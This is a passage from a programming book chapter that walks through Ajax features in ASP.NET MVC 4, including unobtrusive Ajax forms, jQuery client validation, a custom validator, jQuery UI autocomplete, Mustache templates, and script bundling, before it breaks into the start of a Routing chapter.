In the form you are rendering, when the user clicks the submit button the browser sends an asynchronous GET request to the `ArtistSearch` action of the `HomeController`. Notice you've specified a `LoadingElementId` as part of the options. The client framework automatically shows this element when an asynchronous request is in progress. You typically put an animated spinner inside this element to let the user know there is some work in progress in the background. Also, notice you have an `OnFailure` option. The options include a number of parameters you can set to catch various client-side events that flow from every Ajax request (`OnBegin`, `OnComplete`, `OnSuccess`, and `OnFailure`). You can give these parameters the name of a JavaScript function to invoke when the event occurs. For the `OnFailure` event, you specify a function named `searchFailed`, so you'll need the following function to be available at run time (perhaps by placing it in your `MusicScripts.js` files):

```
function searchFailed() {
    $("#searchresults").html("Sorry, there was a problem with the search.");
}
```

You might consider catching the `OnFailure` event because the Ajax helpers all fail silently if the server code returns an error. If users click the search button and nothing happens, they might

become confused. By displaying an error message as you do with the previous code, at least they know you tried your hardest!

The output of the `BeginForm` helper behaves like the `ActionLink` helper. In the end, when the user submits the form by clicking the submit button, an Ajax request arrives at the server, and the server can respond with content in any format. When the client receives the response, the unobtrusive scripts place the content into the DOM. In this example, you replace an element with the `id` of `searchresults`.

For this example, the controller action needs to query the database and render a partial view. Again, you could return plain text, but you want the artists to be in a list, so the action renders a partial view:

```
public ActionResult ArtistSearch(string q)
{
    var artists = GetArtists(q);

    return PartialView(artists);
}

private List<Artist> GetArtists(string searchString)
{
    return storeDB.Artists
        .Where(a => a.Name.Contains(searchString))
        .ToList();
}
```

The partial view takes the model and builds the list. This view is named `ArtistSearch.cshtml` and lives in the `Views/Home` folder of the project:

```
@model IEnumerable<MvcMusicStore.Models.Artist>

<div id="searchresults">
    <ul>
        @foreach (var item in Model) {
            <li>@item.Name</li>
        }
    </ul>
</div>
```

NOTE To run the search code in your own MVC Music Store project, install the `Wrox.ProMvc4.Ajax.AjaxForm` package using NuGet and navigate to `/AjaxForm` to see the new home page.

We'll return to this search form later in the chapter to add some additional features. For now, turn your attention to another built-in Ajax feature of the ASP.NET MVC framework — the support for client-side validation.

CLIENT VALIDATION

Client validation for data annotation attributes is on by default with the MVC framework. As an example, look at the Title and Price properties of the Album class:

```
[Required(ErrorMessage = "An Album Title is required")]
[StringLength(160)]
public string Title { get; set; }

[Required(ErrorMessage = "Price is required")]
[Range(0.01, 100.00,
      ErrorMessage = "Price must be between 0.01 and 100.00")]
public decimal Price { get; set; }
```

The data annotations make these properties required, and also put in some restrictions on the length and the range of the values the properties hold. The model binder in ASP.NET MVC performs server-side validation against these properties when it sets their values. These built-in attributes also trigger client-side validation. Client-side validation relies on the jQuery validation plugin.

jQuery Validation

As mentioned earlier, the jQuery validation plugin (`jquery.validate`) exists in the Scripts folder of a new MVC 4 application by default. If you want client-side validation, you'll need to have a couple of script tags in place. If you look in the Edit or Create views in the StoreManager folder, you'll find the following lines inside:

```
<script src="~/Scripts/jquery.validate.min.js">
</script>
<script src="~/Scripts/jquery.validate.unobtrusive.min.js">
</script>
```

AJAX SETTINGS IN WEB.CONFIG

By default, unobtrusive JavaScript and client-side validation are enabled in an ASP .NET MVC application. However, you can change the behavior through `web.config` settings. If you open the root-level `web.config` file in a new application, you'll see the following `appSettings` configuration section:

```
<appSettings>
  <add key="ClientValidationEnabled" value="true"/>
  <add key="UnobtrusiveJavaScriptEnabled" value="true"/>
</appSettings>
```

If you want to turn off either feature throughout the application, you can change either setting to false. In addition, you can also control these settings on a view-by-view basis. The HTML helpers `EnableClientValidation` and `EnableUnobtrusiveJavascript` override the configuration settings inside a specific view.

The primary reason to disable either feature is to maintain backward compatibility with custom scripts.

The first script tag loads the minified jQuery validation plugin. jQuery validation implements all the logic needed to hook into events (like submit and focus events) and execute client-side validation rules. The plugin provides a rich set of default validation rules.

The second script tag includes Microsoft's unobtrusive adapter for jQuery validation. The code inside this script is responsible for taking the client-side metadata the MVC framework emits and adapting (transforming) the metadata into data jQuery validation will understand (so it can do all the hard work). Where does the metadata come from? First, remember how you built an edit view for an album? You used `EditorForModel` inside your views, which uses the `Album` editor template in the Shared folder. The template has the following code:

```
<p>
    @Html.LabelFor(model => model.Title)
    @Html.TextBoxFor(model => model.Title)
    @Html.ValidationMessageFor(model => model.Title)
</p>
<p>
    @Html.LabelFor(model => model.Price)
    @Html.TextBoxFor(model => model.Price)
    @Html.ValidationMessageFor(model => model.Price)
</p>
```

The `TextBoxFor` helper is the key. The helper builds out inputs for a model based on metadata. When `TextBoxFor` sees validation metadata, such as the `Required` and `StringLength` annotations on `Price` and `Title`, it can emit the metadata into the rendered HTML. The following markup is the editor for the `Title` property:

```
<input
    data-val="true"
    data-val-length="The field Title must be a string with a maximum length of 160."
    data-val-length-max="160" data-val-required="An Album Title is required"
    id="Title" name="Title" type="text" value="Greatest Hits" />
```

Once again, you see data dash attributes. It's the responsibility of the `jquery.validate.unobtrusive` script to find elements with this metadata (starting with `data-val="true"`) and to interface with the jQuery validation plugin to enforce the validation rules expressed inside the metadata. jQuery validation can run rules on every keypress and focus event, giving a user instant feedback on erroneous values. The validation plugin also blocks form submission when errors are present, meaning you don't need to process a request doomed to fail on the server.

To understand how the process works in more detail, it's useful to look at a custom client validation scenario, as shown in the next section.

Custom Validation

In Chapter 6 you wrote a `MaxWordsAttribute` validation attribute to validate the number of words in a string. The implementation looked like the following:

```
public class MaxWordsAttribute : ValidationAttribute
    public MaxWordsAttribute(int maxWords)
        :base("Too many words in {0}")
    {
```

```

        MaxWords = maxWords;
    }

    public int MaxWords { get; set; }

    protected override ValidationResult IsValid(
        object value,
        ValidationContext validationContext)
    {
        if (value != null)
        {
            var wordCount = value.ToString().Split(' ').Length;
            if (wordCount > MaxWords)
            {
                return new ValidationResult(
                    FormatErrorMessage(validationContext.DisplayName));
            }
        }
        return ValidationResult.Success;
    }
}

```

You can use the attribute as the following code demonstrates, but the attribute provides only server-side validation support:

```

[Required(ErrorMessage = "An Album Title is required")]
[StringLength(160)]
[MaxWords(10)]
public string Title { get; set; }

```

To support client-side validation, you need your attribute to implement an interface, as discussed in the next section.

IClientValidatable

The `IClientValidatable` interface defines a single method: `GetClientValidationRules`. When the MVC framework finds a validation object with this interface present, it invokes `GetClientValidationRules` to retrieve — you guessed it — a sequence of `ModelClientValidationRule` objects. These objects carry the metadata, or the *rules*, the framework sends to the client.

You can implement the interface for the custom validator with the following code:

```

public class MaxWordsAttribute : ValidationAttribute,
    IClientValidatable
{
    ...

    public IEnumerable<ModelClientValidationRule> GetClientValidationRules(
        ModelMetadata metadata, ControllerContext context)
    {
        var rule = new ModelClientValidationRule();
        rule.ErrorMessage = FormatErrorMessage(metadata.GetDisplayName());
        rule.ValidationParameters.Add("wordcount", WordCount);
    }
}

```

```

        rule.ValidationType = "maxwords";
        yield return rule;
    }
}

```

If you think about the scenario, there are a few pieces of information you'd need on the client to run the validation:

- What error message to display if the validation fails
- How many words are allowed
- An identifier for a piece of JavaScript code that can count the words

This information is exactly what the code is putting into the rule that is returned. Notice you can return multiple rules if you need to trigger multiple types of validation on the client.

The code puts the error message into the rule's `ErrorMessage` property. Doing so allows the server-side error message to exactly match the client-side error message. The `validationParameters` collection is a place to hold parameters you need on the client, like the maximum number of words allowed. You can put additional parameters into the collection if you need them, but the names are significant and have to match names you see in client script. Finally, the `ValidationType` property identifies a piece of JavaScript code you need on the client.

The MVC framework takes the rules given back from the `GetClientValidationRules` method and serializes the information into data dash attributes on the client:

```

<input
    data-val="true"
    data-val-length="The field Title must be a string with a maximum length of 160."
    data-val-length-max="160"
    data-val-maxwords="Too many words in Title"
    data-val-maxwords-wordcount="10"
    data-val-required="An Album Title is required" id="Title" name="Title"
    type="text" value="For Those About To Rock We Salute You" />

```

Notice how `maxwords` appears in the attribute names related to the `MaxWordsAttribute`. The `maxwords` text appears because you set the rule's `ValidationType` property to `maxwords` (and yes, the validation type and all validation parameter names must be lowercase because their values must be legal to use as HTML attribute identifiers).

Now you have metadata on the client, but you still need to write some script code to execute the validation logic.

Custom Validation Script Code

Fortunately, you do not have to write any code that digs out metadata values from data dash attributes on the client. However, you'll need two pieces of script in place for validation to work:

- **The adapter:** The adapter works with the unobtrusive MVC extensions to identify the required metadata. The unobtrusive extensions then take care of retrieving the values from data dash attributes and adapting the data to a format jQuery validation can understand.
- **The validation rule itself:** This is called a *validator* in jQuery parlance.

Both pieces of code can live inside the same script file. Assume for a moment that you want the code to live in the `MusicScripts.js` file you created in the section “Custom Scripts” earlier in this chapter. In that case, you want to make sure `MusicScripts.js` appears after the validation scripts appear. Using the `scripts` section created earlier, you could do this with the following code:

```
@section scripts
{
    <script src="~/Scripts/jquery.validate.min.js"
></script>
    <script src="~/Scripts/jquery.validate.unobtrusive.min.js"
></script>
    <script src="~/Scripts/MusicScripts.js">
    </script>
}
```

Inside of `MovieScripts.js`, adding two additional references will give you all the IntelliSense you need. Alternatively, you could add these references to `_references.js`.

```
/// <reference path="jquery.validate.js" />
/// <reference path="jquery.validate.unobtrusive.js" />
```

The first piece of code to write is the adapter. The MVC framework’s unobtrusive validation extension stores all adapters in the `jQuery.validator.unobtrusive.adapters` object. The `adapters` object exposes an API for you to add new adapters, which are shown in Table 8-2.

TABLE 8-2: Adapter Methods

NAME	DESCRIPTION
<code>addBool</code>	Creates an adapter for a validator rule that is “on” or “off.” The rule requires no additional parameters.
<code>addSingleVal</code>	Creates an adapter for a validation rule that needs to retrieve a single parameter value from metadata.
<code>addMinMax</code>	Creates an adapter that maps to a set of validation rules — one that checks for a minimum value and one that checks for a maximum value. One or both of the rules may run, depending on the data available.
<code>add</code>	Creates an adapter that doesn’t fit into the preceding categories because it requires additional parameters or extra setup code.

For the maximum words scenario, you could use either `addSingleVal` or `addMinMax` (or `add`, because it can do anything). Because you do not need to check for a minimum number of words, you can use the `addSingleVal` API, as shown in the following code:

```
/// <reference path="jquery.validate.js" />
/// <reference path="jquery.validate.unobtrusive.js" />

$.validator.unobtrusive.adapters.addSingleVal("maxwords", "wordcount");
```

The first parameter is the name of the adapter, and must match the `ValidationProperty` value you set on the server-side rule. The second parameter is the name of the single parameter to retrieve

from metadata. Notice you don't use the `data-` prefix on the parameter name; it matches the name of the parameter you placed into the `ValidationParameters` collection on the server.

The adapter is relatively simple. Again, the primary goal of an adapter is to identify the metadata that the unobtrusive extensions need to locate. With the adapter in place, you can now write the validator.

All the validators live in the `jQuery.validator` object. Like the `adapters` object, the `validator` object has an API to add new validators. The name of the method is `addMethod`:

```
$.validator.addMethod("maxwords", function (value, element, maxwords) {
    if (value) {
        if (value.split(' ').length > maxwords) {
            return false;
        }
    }
    return true;
});
```

The method takes two parameters:

- The name of the validator, which by convention matches the name of the adapter (which matches the `ValidationType` property on the server).
- A function to invoke when validation occurs.

The validator function accepts three parameters and can return `true` (validation passed) or `false` (validation failed):

- The first parameter to the function will contain the input value (like the title of an album).
- The second parameter is the input element containing the value to validate (in case the value itself doesn't provide enough information).
- The third parameter will contain all the validation parameters in an array, or in this case, the single validation parameter (the maximum number of words).

NOTE To bring the validation code into your own project, use NuGet to install the `Wrox.ProMvc4.Ajax.CustomClientValidation` package. The package will add the custom script and custom attribute in the `Samples\ClientValidation` folder.

Although the ASP.NET MVC Ajax helpers provide a great deal of functionality, there is an entire ecosystem of jQuery extensions that go much further. The next section explores a select group.

BEYOND HELPERS

If you send your browser to <http://plugin.jquery.com>, you'll find thousands of jQuery extensions. Some of these extensions are graphically oriented and can make things explode (in an animated way). Other extensions are widgets like date pickers and grids.

Using a jQuery plugin usually involves downloading the plugin, extracting the plugin, and then adding the plugin to your project. A few of the jQuery plugins are available as NuGet packages, which makes it trivially easy to add the plugin to your project. In addition to at least one JavaScript file, many plugins, particularly the UI-oriented plugins, might also come with images and a style sheet you'll need to use.

Every new ASP.NET MVC project starts with two plugins: jQuery Validation (which you've used) and jQuery UI (which you will look at now).

jQuery UI

jQuery UI is a jQuery plugin that includes both effects and widgets. Like all plugins it integrates tightly with jQuery and extends the jQuery API. As an example, let's return to the first bit of code in this chapter — the code to animate album items on the front page of the store:

```
$function () {
    $("#album-list img").mouseover(function () {
        $(this).animate({ height: '+=25', width: '+=25' })
            .animate({ height: '-=25', width: '-=25' });
    });
});
```

Instead of the verbose animation, use jQuery UI to make the album bounce. The first step is to include jQuery UI across your application by adding a new script tag to the layout view:

```
<script src="~/Scripts/jquery-1.6.2.min.js"
></script>
<script src="~/Scripts/jquery.unobtrusive-ajax.min.js"
></script>
<script src~/Scripts/jquery-ui.min.js"
></script>
```

Now you can change the code inside the mouseover event handler:

```
$function () {
    $("#album-list img").mouseover(function () {
        $(this).effect("bounce");
    });
});
```

When users run their mouse across an album image, the album bounces up and down for a short time. As you can see, the UI plugin extended jQuery by giving you additional methods to execute against the wrapped set. Most of these methods take a second “options” parameter, which allows you to tweak the behavior.

```
$(this).effect("bounce", { time: 3, distance: 40 });
```

You can find out what options are available (and their default values) by reading the plugin documentation on [jQuery.com](http://jquery.com). Additional effects in jQuery UI include explode, fade, shake, and pulsate.

OPTIONS, OPTIONS EVERYWHERE

The “options” parameter is pervasive throughout jQuery and jQuery plugins. Instead of having a method that takes six or seven different parameters (like time, distance, direction, mode, and so on), you pass a single object with properties defined for the parameters you want to set. In the previous example, you want to set just time and distance.

The documentation will always (well, almost always) tell you what the available parameters are and what the defaults are for each parameter. You only need to construct an object with properties for the parameters you want to change.

jQuery UI isn’t just about effects and eye candy. The plugin also includes widgets such as accordion, autocomplete, button, datepicker, dialog, progressbar, slider, and tabs. The next section looks at the autocomplete widget as an example.

Autocomplete with jQuery UI

As a widget, autocomplete needs to position new user interface elements on the screen. These elements need colors, font sizes, backgrounds, and all the typical presentation details every user interface element needs. jQuery UI relies on themes to provide the presentation details. A jQuery UI theme includes a style sheet and images. Every new MVC project starts with the “base” theme underneath the Content directory. This theme includes a style sheet (`jquery-ui.css`) and an `images` folder full of `.png` files.

Before you use autocomplete, you can set up the application to include the base theme style sheet by adding it to the layout view:

```
<link href="~/Content/Site.css" rel="stylesheet"
      type="text/css" />
<link href="~/Content/themes/base/jquery-ui.css"
      rel="stylesheet"
      type="text/css" />
<script src="~/Scripts/jquery-1.4.4.min.js"
></script>
<script src="~/Scripts/jquery.unobtrusive-ajax.min.js"
></script>
<script src~/Scripts/jquery-ui.min.js"
></script>
```

If you start working with jQuery and decide you don’t like the base theme, you can go to <http://jqueryui.com/themeroller/> and download any of two dozen or so prebuilt themes. You can also build your own theme (using a live preview) and download a custom-built `jquery-ui.css` file.

Adding the Behavior

First, remember the artist search scenario you worked on in the section “Ajax Forms” earlier in the chapter? Now, you want the search input to display a list of possible artists when the user starts typing inside the input. You’ll need to find the input element from JavaScript and attach the jQuery autocomplete behavior. One approach to do this is to borrow an idea from the MVC framework and use a data dash attribute:

```
<input type="text" name="q"  
      data-autocomplete-source="@Url.Action("QuickSearch", "Home")" />
```

The idea is to use jQuery and look for elements with the `data-autocomplete-source` attribute present. This will tell you what inputs need an autocomplete behavior. The autocomplete widget requires a data source it can use to retrieve the candidates for auto completion. Autocomplete can consume an in-memory data source (an array of objects) as easily as it can consume a remote data source specified by a URL. You want to use the URL approach because the number of artists might be too large to reasonably send the entire list to the client. You’ve embedded the URL that autocomplete should call into the data dash attribute.

In `MusicScripts.js`, you can use the following code during the ready event to attach autocomplete to all inputs with the `data-autocomplete-source` attribute:

```
$(“input [data-autocomplete-source]”).each(function () {  
    var target = $(this);  
    target.autocomplete({ source: target.attr(“data-autocomplete-source”) });  
});
```

The jQuery `each` function iterates over the wrapped set, calling its function parameter once for each item. Inside the function, you invoke the `autocomplete` plugin method on the target element. The parameter to the `autocomplete` method is an options parameter, and unlike most options, one property is required — the `source` property. You can also set other options, like the amount of delay after a keypress before autocomplete jumps into action and the minimum number of characters needed before autocomplete starts sending requests to the data source.

In this example, you’ve pointed the source to a controller action. Here’s the code again (just in case you forgot):

```
<input type="text" name="q"  
      data-autocomplete-source="@Url.Action("QuickSearch", "Home")" />
```

Autocomplete expects to call a data source and receive a collection of objects it can use to build a list for the user. The `QuickSearch` action of the `HomeController` needs to return data in a format autocomplete will understand.

Building the Data Source

Autocomplete expects to call a data source and receive objects in JSON format. Fortunately, it’s easy to generate JSON from an MVC controller action, as you’ll see soon. The objects must have a property called `label`, or a property called `value`, or both a `label` and a `value`. Autocomplete uses the `label` property in the text it shows the user. When the user selects an item from the autocomplete list, the widget will place the `value` of the selected item into the associated input. If you don’t

provide a label, or don't provide a value, autocomplete will use whichever property is available as both the value and the label.

To return the proper JSON, you'll implement QuickSearch with the following code:

```
public ActionResult QuickSearch(string term)
{
    var artists = GetArtists(term).Select(a => new {value = a.Name});

    return Json(artists, JsonRequestBehavior.AllowGet);
}

private List<Artist> GetArtists(string searchString)
{
    return storeDB.Artists
        .Where(a => a.Name.Contains(searchString))
        .ToList();
}
```

When autocomplete calls the data source, it passes the current value of the input element as a query string parameter named `term`, so you receive this parameter by having a parameter named `term` on the action. Notice how you transform each artist into an anonymously typed object with a `value` property. The code passes the resulting collection into the `Json` method, which produces a `JsonResult`. When the framework executes the result, the result serializes the objects into JSON.

The fruits of your labor are shown in Figure 8-4.

FIGURE 8-4

JSON HIJACKING

By default, the ASP.NET MVC framework does not allow you to respond to an HTTP GET request with a JSON payload. If you need to send JSON in response to a GET, you'll need to explicitly allow the behavior by using `JsonRequestBehavior.AllowGet` as the second parameter to the `Json` method.

However, there is a chance a malicious user can gain access to the JSON payload through a process known as *JSON hijacking*. You do *not* want to return sensitive information using JSON in a GET request. For more details, see Phil's post at <http://haacked.com/archive/2009/06/25/json-hijacking.aspx>.

JSON is not only fantastically easy to create from a controller action, it's also lightweight. In fact, responding to a request with JSON generally results in a smaller payload than responding with the same data embedded into HTML or XML markup. A good example is the search feature. Currently, when the user clicks the search button, you ultimately render a partial view of artists in HTML. You can reduce the amount of bandwidth you use if you return JSON instead.

NOTE To run the autocomplete example in your own MVC Music Store project, use NuGet to install the package Wrox.ProMvc4.Ajax.AutoComplete and navigate to /Autocomplete.

The classic problem with retrieving JSON from the server is what to do with the deserialized objects. It's easy to take HTML from the server and graft it into the page. With raw data you need to build the HTML on the client. Traditionally this is tedious, but templates are here to make the job easy.

JSON and Client-Side Templates

There are many JavaScript template libraries to choose from these days. Every library has a slightly different style and syntax, so you can pick the library that suits your tastes. All the libraries provide functionality that is similar to Razor, in the sense that you have HTML markup and then placeholders with special delimiters where the data is to appear. The placeholders are called *binding expressions*. The following code is an example using Mustache, a template library we will use in this chapter:

```
<span class="detail">
    Rating: {{AverageReview}}
    Total Reviews: {{TotalReviews}}
</span>
```

This template would work against an object with `AverageReview` and `TotalReviews` properties. When rendering templates with Mustache, the templates place the values for those properties in their proper location. You can also render templates against an array of data. More documentation for Mustache is available at <https://github.com/janl/mustache.js>.

In the following section, you rewrite the search feature to use JSON and templates.

Adding Templates

To install jQuery templates, right-click the MvcMusicStore project and select Manage NuGet Package. When the dialog appears (as shown in Figure 8-5), search online for “mustache.js.”

When NuGet is finished adding the package to the project, you should have a new file, named `mustache.js`, in your `Scripts` folder. To begin writing templates, you can include a script reference to Mustache in the layout view:

```
<script src="~/Scripts/jquery-1.6.2.min.js"
></script>
```

```

        <script src="~/Scripts/jquery.unobtrusive-ajax.min.js"
    ></script>
        <script src="~/Scripts/jquery-ui.min.js"
    ></script>
        <script src="~/Scripts/mustache.js"
    ></script>

```

With the plugin in place, you can start using templates in your search implementation.

FIGURE 8-5

Modifying the Search Form

The artist search feature you built in the section “Ajax Forms” earlier in the chapter uses an Ajax helper:

```

@using (Ajax.BeginForm("ArtistSearch", "Home",
    new AjaxOptions {
        InsertionMode=InsertionMode.Replace,
        HttpMethod="GET",
        OnFailure="searchFailed",
        LoadingElementId="ajax-loader",
        UpdateTargetId="searchresults",
    }))
{
    <input type="text" name="q" 

```

```

        data-autocomplete-source="@Url.Action("QuickSearch", "Home")" />
<input type="submit" value="search" />
<img id="ajax-loader"
      src("~/Content/Images/ajax-loader.gif"
      style="display:none"/>
}

```

Although the Ajax helper provides a lot of functionality, you're going to remove the helper and start from scratch. jQuery provides various APIs for retrieving data from the server asynchronously. You've been taking advantage of these features indirectly by using the autocomplete widget, and now you'll take a direct approach.

You first want to change the search form to use jQuery directly instead of the Ajax helper, but you'll make things work with the existing controller code (no JSON yet). The new markup inside `Index.cshtml` looks like the following:

```

<form id="artistSearch" method="get" action="@Url.Action("ArtistSearch", "Home")">
    <input type="text" name="q"
          data-autocomplete-source="@Url.Action("QuickSearch", "Home")" />
    <input type="submit" value="search" />
    <img id="ajax-loader" src "~/Content/Images/ajax-loader.gif"
         style="display:none"/>
</form>

```

The only change in the preceding code is that you are building the `form` tag explicitly instead of using the `BeginForm` Ajax helper. Without the helper you'll also need to write your own JavaScript code to request HTML from the server. You'll place the following code inside `MusicScripts.js`:

```

$("#artistSearch").submit(function (event) {
    event.preventDefault();

    var form = $(this);
    $("#searchresults").load(form.attr("action"), form.serialize());
});

```

This code hooks the submit event of the form. The call to `preventDefault` on the incoming event argument is the jQuery technique to prevent the default event behavior from occurring (in this case, prevent the form from submitting itself to the server directly; instead, you'll take control of the request and response).

The `load` method retrieves HTML from a URL and places the HTML into the matched element (the `searchresults` element). The first parameter to `load` is the URL — you are using the value of the `action` attribute in this example. The second parameter is the data to pass in the query string. The `serialize` method of jQuery builds the data for you by taking all the input values inside the form and concatenating them into a string. In this example you only have a single text input, and if the user enters black in the input, `serialize` uses the input's name and value to build the string `q=black`.

Getting JSON

You've changed the code, but you are still returning HTML from the server. Let's change the `ArtistSearch` action of the `HomeController` to return JSON instead of a partial view:

```
public ActionResult ArtistSearch(string q)
{
    var artists = GetArtists(q);
    return Json(artists, JsonRequestBehavior.AllowGet);
}
```

Now you'll need to change the script to expect JSON instead of HTML. jQuery provides a method named `getJSON` that you can use to retrieve the data:

```
$("#artistSearch").submit(function (event) {
    event.preventDefault();

    var form = $(this);
    $.getJSON(form.attr("action"), form.serialize(), function (data)
        // now what?
    });
});
```

The code didn't change dramatically from the previous version. Instead of calling `load`, you call `getJSON`. The `getJSON` method does not execute against the matched set. Given a URL and some query string data, the method issues an HTTP GET request, deserializes the JSON response into an object, and then invokes the callback method passed as the third parameter. What do you do inside of the callback? You have JSON data — an array of artists — but no markup to present the artists. This is where templates come into play. A template is markup embedded inside a script tag. The following code shows a template, as well as the search result markup where the results should display:

```
<script id="artistTemplate" type="text/html">
<ul>
    {{#artists}}
        <li>{{Name}}</li>
    {{/artists}}
</ul>
</script>

<div id="searchresults">
</div>
```

Notice that the script tag is of type `text/html`. This type ensures the browser does not try to interpret the contents of the script tag as real code. The `{{#artists}}` expression tells the template engine to loop through an array named `artists` on the data object we'll use to render the template. The `{{Name}}` syntax is a binding expression. The binding expression tells the template engine to find the `Name` property of the current data object and place the value of the property between `` and ``. The result will make an unordered list from JSON data.

To use the template, you need to select it inside the `getJSON` callback and tell Mustache to render the template into HTML:

```
$("#artistSearch").submit(function(event) {
    event.preventDefault();

    var form = $(this);
    $.getJSON(form.attr("action"), form.serialize(), function(data) {
        var html = Mustache.to_html($("#artistTemplate").html(), { artists: data });
    });
});
```

```

        $( "#searchresults" ).empty() .append( html );
    });
});
}
);

```

The `to_html` method of Mustache combines the template with the JSON data to produce markup. The code takes the template output and places the output in the search results element.

Client-side templates are a powerful technology, and this section only scratches the surface of the template engine features. However, the code is not on a par with the behavior of the Ajax helper from earlier in the chapter. If you remember from the “Ajax Helpers” section earlier in the chapter, the Ajax helper had the ability to call a method if the server threw an error. The helper also turned on an animated gif while the request was outstanding. You can implement all these features, too; you just have to remove one level of abstraction.

jQuery.ajax for Maximum Flexibility

When you need complete control over an Ajax request, you can turn to the jQuery `ajax` method. The `ajax` method takes an `options` parameter where you can specify the HTTP verb (such as GET or POST), the timeout, an error handler, and more. All the other asynchronous communication methods you’ve seen (`load` and `getJSON`) ultimately call down to the `ajax` method.

Using the `ajax` method, you can achieve all the functionality you had with the Ajax helper and still use client-side templates:

```

$( "#artistSearch" ).submit(function ( event ) {
    event.preventDefault();

    var form = $(this);
    $.ajax({
        url: form.attr("action"),
        data: form.serialize(),
        beforeSend: function () {
            $("#ajax-loader").show();
        },
        complete: function () {
            $("#ajax-loader").hide();
        },
        error: searchFailed,
        success: function ( data ) {
            var html = Mustache.to_html($("#artistTemplate") .html(),
                { artists: data });
            $("#searchresults" ).empty() .append( html );
        }
    });
});

```

The call to `ajax` is verbose because you customize quite a few settings. The `url` and `data` properties are just like the parameters you passed to `load` and `getJSON`. What the `ajax` method gives you is the ability to provide callback functions for `beforeSend` and `complete`. You will respectively show and hide the animated, spinning gif during these callbacks to let the user know a request is outstanding. jQuery will invoke the `complete` callback even if the call to the server results in an error. Of the next two callbacks, `error` and `success`, however, only one can win. If the call fails, jQuery calls the

searchFailed error function you already defined in the “Ajax Forms” section. If the call succeeds, you will render the template as before.

NOTE *If you want to try the code in your own MVC Music Store project, use NuGet to install the Wrox.ProMvc4.Ajax.Templates package, and then navigate to /Templates to see the “improved” home page.*

IMPROVING AJAX PERFORMANCE

When you start sending large amounts of script code to the client, you have to keep performance in mind. There are many tools you can use to optimize the client-side performance of your site, including YSlow for Firebug (see <http://developer.yahoo.com/yslow/>) and the developer tools for Internet Explorer (see [http://msdn.microsoft.com/en-us/library/dd565629\(VS.85\).aspx](http://msdn.microsoft.com/en-us/library/dd565629(VS.85).aspx)). In this section we’ll provide a few performance tips.

Using Content Delivery Networks

Although you can certainly work with jQuery by serving the jQuery scripts from your own server, you might instead consider sending a script tag to the client that references jQuery from a content delivery network (CDN). A CDN has edge-cached servers located around the world, so there is a good chance your client will experience a faster download. Because other sites will also reference jQuery from CDNs, the client might already have the file cached locally. Plus, it’s always great when someone else will save you the bandwidth cost of downloading scripts.

Microsoft is one such CDN provider you can use. The Microsoft CDN hosts all the files used in this chapter. If you want to serve jQuery from the Microsoft CDN instead of your server, you can use the following script tag:

```
<script src="http://ajax.aspnetcdn.com/ajax/jquery/jquery-1.6.2.min.js"
type="text/javascript"></script>
```

You can find the list of URLs for and see all the latest releases on Microsoft’s CDN at <http://www.asp.net/ajaxlibrary/CDN.ashx>.

Script Optimizations

Many web developers do not use script tags inside the head element of a document. Instead, they place script tags as close as possible to the bottom of a page. The problem with placing script tags inside the `<head>` tag at the top of the page is that when the browser comes across a script tag, it blocks other downloads until after it retrieves the entire script. This blocking behavior can make a page load slowly. Moving all your script tags to the bottom of a page (just before the closing `body` tag) will yield a better experience for the user.

Another optimization technique for scripts is to minimize the number of script tags you send to a client. You have to balance the performance gains of minimizing script references versus caching individual scripts, but the tools we mentioned earlier, like YSlow, will help you make the right decisions. ASP.NET MVC 4 has the ability to bundle scripts, so you can combine multiple script files into a single download for the client. MVC 4 can also minify scripts on the fly to produce a smaller download.

Bundling and Minification

Bundling and minification features are provided by classes in the `System.Web.Optimization` namespace. As the namespace implies, these classes are designed to optimize the performance of a web page by minifying files (reducing their size) and bundling files (combining multiple files into a single download). The combination of bundling and minification generally decreases the amount of time needed to load a page into the browser.

When you create a new ASP.NET MVC 4 application, you'll find bundles are automatically configured for you during application startup. The configured bundles will live in a file named `BundleConfig.cs` in the `App_Start` folder of a new project. Inside you'll find code like the following to configure script bundles (JavaScript) and style bundles (CSS):

```
bundles.Add(new ScriptBundle("~/bundles/jquery").Include(
    "~/Scripts/jquery-1.*"));

bundles.Add(new StyleBundle("~/Content/css").Include("~/Content/site.css"));

bundles.Add(new ScriptBundle("~/bundles/jqueryui").Include(
    "~/Scripts/jquery-ui*"));
```

A script bundle is a combination of a virtual path (like `~/bundles/jquery`, which is the first parameter to the `ScriptBundle` constructor) and a list of files to include in the bundle. The virtual path is an identifier we'll use later when we output the bundle in a view. The list of files in a bundle can be specified using one or more calls to the `Include` method of a bundle, and in the call to include you can specify a specific file name or a file name with a wildcard to specify multiple files at once.

In the previous code, the file specifier `~/Scripts/jquery-ui*` tells the run time to include all the jQuery UI scripts in a bundle (even if there is only a single script file). The run time is smart enough to differentiate between minified and un-minified versions of a JavaScript library based on standard JavaScript naming conventions. The specifier will include `jquery-ui-1.18.11.js` in the bundle but not `jquery-ui-1.18.11.min.js`. You can create and modify your own bundles in `BundleConfig.cs`.

Once you have bundles configured, you can render the bundles with `Scripts` and `Styles` helper classes. The following code will output the jQuery bundle and the default application style sheet:

```
@Scripts.Render("~/bundles/jquery")
@Styles.Render("~/Content/css")
```

The parameter you pass to the `Render` methods is the virtual path used to create a bundle. When the application is running in debug mode (specifically, the debug flag is set to true in the compilation section of `web.config`), the script and style helpers will render a script tag for each individual file registered in the bundle. When the application is running in release mode, the helpers will combine

all the files in a bundle into a single download and place a single link or script element in the output. In release mode, the helpers will also minify files by default to reduce the download size.

SUMMARY

This chapter was a whirlwind tour of Ajax features in ASP.NET MVC 4. As you now should know, these features rely heavily on the open source jQuery library, as well as some popular jQuery plugins.

The key to success with Ajax in ASP.NET MVC 4 is in understanding jQuery and making jQuery work for you in your application. Not only is jQuery flexible and powerful, but it allows you to separate your script code from your markup and write unobtrusive JavaScript. The separation means you can focus on writing better JavaScript code and embracing all the power jQuery has to offer.

This chapter also looked at using client-side templates and serving JSON from a controller action. Although you can produce JSON from a controller action easily, you could also use the Web API to serve JSON. Web API includes some additional features and flexibility when it comes to building web services that produce data. We'll talk more about the Web API in Chapter 11.

Routing

WHAT'S IN THIS CHAPTER?

- Understanding URLs
- Introduction to Routing
- A peek under the Routing hood
- A look at advanced Routing
- Routing extensibility and magic
- Using Routing with Web Forms

When it comes to source code, software developers are notorious for fixating on little details to the point of obsessive compulsion. We'll fight fierce battles over code indentation styles and the placement of curly braces. In person, such arguments threaten to degenerate into all-out slap fights.

So, it comes as a bit of a surprise when you approach a majority of sites built using ASP.NET and encounter a URL that looks like this:

`http://example.com/albums/list.aspx?catid=17313&genreid=33723&page=3`

